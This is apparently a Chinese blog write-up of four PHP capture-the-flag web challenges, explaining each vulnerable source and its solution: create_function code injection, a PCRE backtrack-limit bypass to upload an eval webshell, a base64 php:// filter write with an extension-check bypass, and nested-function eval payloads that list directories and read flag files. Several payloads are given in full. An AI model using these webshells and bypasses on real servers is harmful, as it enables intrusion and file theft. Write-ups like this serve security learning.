code breaking

1.easy_function

代码如下

  <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这段代码很简单,首先判断有没有传入,没有传入的话就为空,然后正则匹配,你输入的action变量首字符不能是字母,数字。
如何绕过正则呢,可以投机一下,直接fuzz测试,结果为\,为什么是这个呢?因为在php中,\是函数的默认命名空间。那如何执行命令呢,可以用create_function()这个函数,php手册这样介绍的。

在这里插入图片描述

示例如下:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?> 

我们可以控制第二个参数,这样就能getflag了。

<?php
create_function('$a,$b', 'return 1;} phpinfo();//');

 这个会返回phpinfo的结果

最终payload
在这里插入图片描述先读取文件名
在这里插入图片描述

2.pcrewaf

代码如下

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

这段代码直接为你创造了php,但是输入的内容要绕过正则匹配,<?php后面如果有(`;?>就会被匹配到。如何绕过这个呢?这里绕过姿势真的骚,p牛文章里有详细介绍。

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

正则匹配分为两种:DFA模式和NFA模式 ,其中NFA会进行回溯,其中回溯次数有最大限制

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

如果超过了这个,就会返回flase

php > var_dump(preg_match('/<\?.*[(`;?>].*/is','<? @eval($_POST[‘ha’]);//'.str_repeat('c',1000000)));
bool(false)

因此造成了绕过。
payload.php 内容为
在这里插入图片描述 运行生成upload.txt
然后curl过去
在这里插入图片描述最终getflag

 http://xxx.com/data/xxxxx/x.php?ha=var_dump(scandir('../../../'));

  http://xxx.com/data/xxxxx/x.php?ha=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

学习了,学习了。

三.phpmagic

代码如下:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
	endif;
?>

我们可以传domain,传log_name,但是过滤的却很严格,让人难以入手,我们一步一步来。
1.domain参数,首先我们肯定是不能直接传一句话进去的,那我们想一想是不是可以base64或者其他方式加密一下,但是加密后,又无法解密,还是难以利用。
这个时候想到file_get_contents可以用php伪协议读取,那么file_put_contents是否也支持伪协议呢,然后本地试验了一下,发现还真可以,那么domain这个问题解决了。
2.log_name参数,代码中我们可以知道log_name是 S E R V E R [ S E R V E R N A M E ] . _SERVER['SERVER_NAME'] .和 log_name组成的,那么查一下手册就可以知道,server_name是host的值,所以我们只要改变host的值就可以实现php伪协议写入。
在这里插入图片描述3.如何绕过文件名检查呢?可以用1.php/. 来绕过。

4.开始上传

php > echo base64_encode('<?php @eval($_REQUEST["666"]);?>');
PD9waHAgQGV2YWwoJF9SRVFVRVNUWyI2NjYiXSk7Pz4=

burp发包
在这里插入图片描述但是我访问hello.php却什么都没有呢????这里有一个坑点,就是php中base64在解码的时候,如果有除了这64个字符之外的字符,就会直接跳过,=等号只能放在最后面,但是显然在文件中=号不是在最后的,所以上传的时候不能加=号。
最后得到flag
在这里插入图片描述这一个题目包含了很多知识点,自己还是tcl,学习了。

四.phplimit

题目代码很简单

 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这个代码很简单,正则匹配的(?R),这个意思是重复前面的,也就是这个正则只能匹配形如这样的,fun(func()); ,哎 自己还是太菜了,看了师傅们的wp,学习了很多。
解法1:
get_defined_vars函数,这个函数能返回已定义变量所组成的数组。其中就有$_GET和 $_POST。那么我们就可以发传入一个参数,然后用get_defined_vars这个函数来获取。
payload如下:

 ?code=eval(next(current(get_defined_vars())));&a=print_r(scandir(getcwd()));		

解法2:
session_id()函数,用来获取当前用户的phpsessid。
session_start() 会创建新会话或者重用现有会话。如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID,则会重用现有会话。
hex2bin — 转换十六进制字符串为二进制字符串。
利用这三个函数我们就可以进行一些操作。
在这里插入图片描述解法3:
dirname函数给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
chdir函数将目录切换到当前目录。
例如:

 var_dump(getcwd()); //     /phpstudy/www/123
 var_dump(chdir(dirname(getcwd())); //   /phpstudy/www

因此我们可以构造payload:
var_dump(scandir(dirname(chdir(dirname(getcwd())))));
得到

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" } 

最终payload
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

发布了28 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43342566/article/details/100657180
今日推荐